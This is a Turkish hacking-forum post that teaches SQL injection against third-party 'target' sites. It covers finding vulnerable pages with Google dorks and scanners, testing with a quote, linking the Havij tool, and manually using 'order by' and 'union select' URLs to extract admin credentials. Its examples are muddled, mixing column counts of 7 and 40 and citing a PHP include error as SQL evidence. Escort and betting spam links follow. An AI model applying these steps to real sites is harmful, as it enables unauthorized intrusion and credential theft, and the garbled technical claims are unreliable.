SQL Nedir SQL Açığı bulma ve SQL Injection

HACKAN

Spys-Z
Katılım
24 Kas 2013
Mesajlar
353
Tepkime puanı
0
Puanları
0
SQL NEDİR

* SQL (Structured Query Language) veritabanından bilgi çekme silme vb. gibi işlemler yapabilen bir dildir.
* SQL en yaygın olan güvenlik açığıdır

SQL Injection Nedir

* SQL İnjection bir SQL açıklı siteye uygulanan İnjection türüdür.

SQL DİLİ KULLANAN VERİTABANLARI

Sybase
MySQL (EN SIK KULLANILAN VERİ TABANIDIR)
Mssql
PostgreSQL
Microsoft SQL Server
Oracle
Firebird
Access

SQL İnjection Olan Sayfayı Nasıl Bulabilirim ?


* Acunetix ve benzeri web site taratan programlarla hedefsiteki sql açığı bulabiliriz veya manuel olarak arayabiliriz
* Benim tavsiyem ''MANUEL OLARAK YAPILAN TARAMA EN GARANTİ TARAMA ŞEKİLİDİR DOĞRU YAPARSANIZ HACKLEMEK KESİNDİR ''
* SQL açığı olan bir sayfa bulabilmemiz için dork gerekmekte , kendiniz dork yazabilirsiniz
* Yada googleden rahatlıkla 'sql dorkları' diye aratarak bulabilrisniz

SQL Açığını kullanabilmemiz için sayfa url'sinde değişken değer olması lazım,
Örnek verelim ' www.hedefsite.com/index.php?pgId=15 ' ( index.php?pgI= ) örnek dorktur


* Google'den dorklarımızı arattık ve bulalım
* URL’nin sonunda php?id=45 veya daha farklı bir sayı yazar bu sayıların sonuna tırnak işareti (') koyuyoruz.
* Örnek: www.hedefsite.com/php?id=120 site bu sitede id değerimiz gördüğünüz gibi 120 id değerinin sonuna ’ işaretimizi koyuyoruz ve Enterlıyoruz.

www.hedefsite.com/php?id=120'

~~~ BURAYA DİKKAT ~~~ SİTE BİR HATA VERİRSE

ÖRNEK : Warning: include(../inc/content220\\\\\\\\\\\\\\\\’.inc.php) [function.include]: failed to open stream: No such file or directory in /homepages/6/d27097856/htdocs/www.fanatec.de/html/index.php on line 162

Warning: include() [function.include]: Failed opening ’../inc/content220\\\\\\\\\\\\\\\\’.inc.php’ for inclusion (include_path=’.:/usr/lib/php5’) in /homepages/6/d27097856/htdocs/www.fanatec.de/html/index.php on line 162

BU VEYA BUNUN GİBİ HATALAR ALIRSAK SİTEDE SQL AÇIĞI MEVCUTTUR


SQL Açığını Nasıl Kullanabiliriz ?

1. Havij ve benzeri programlar ile <a href="http://bilisimturkiye.bi.funpic.org/?p=196">HAVİJ SQL INJECTION ANLATIM VE HAVİJ İNDİR</a>

2. Manuel olarak

MANUEL OLARAK

ARKADAŞLAR İLK ÖNCE SİTEMİZDE KOLON SAYISINI BULMAMIZ GEREKİYOR BUNUN İÇİN İSE '' ordey+by+ veya group+by+ '' komutunu kullanıcaz

www.hedefsite.com/php?id=120+order+by+200 '' 200 SAYISINI ÖRNEK OLARAK VERİYORUM ''

BU SAYIYI GİTTİKÇE AZALTARAK DENİCEZ , HATA GİDENE KADAR

www.örneksite.com/php?id=120+order+by+150
www.örneksite.com/php?id=120+order+by+85
www.örneksite.com/php?id=120+order+by+40
www.örneksite.com/php?id=120+order+by+7 DİYELİMKİ 7 DA HATA GİTTİ YANİ KOLON SAYIMIZ 40'DIR

ŞİMDİ KOLONLARI EKRANA YANSITICAZ BUNUN İÇİNDE BUNUN İÇİN union+select+... kodumuzu kullanacağız. KOLON SAYIMIZ 40 DI ÖRNEK

http://www.hedefsite.com/php?id=120+...+0,1,2,3,4,5,6, YAZIYORUZ KOLON SAYIMIZ 7 OLDUĞU İÇİN KIRKA KADAR YAZALIM

VE GELEN KOLONLARDAN ADMİN BİLGİLERİNE ULAŞIYORUZ
 

mersin escort mersin e ticaret bodrum escort fethiye escort alanya escort konya escort marmaris escort bodrum escort vozol puff sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort ankara escort meritking giriş
Üst
Copyright® Ajanlar.org 2012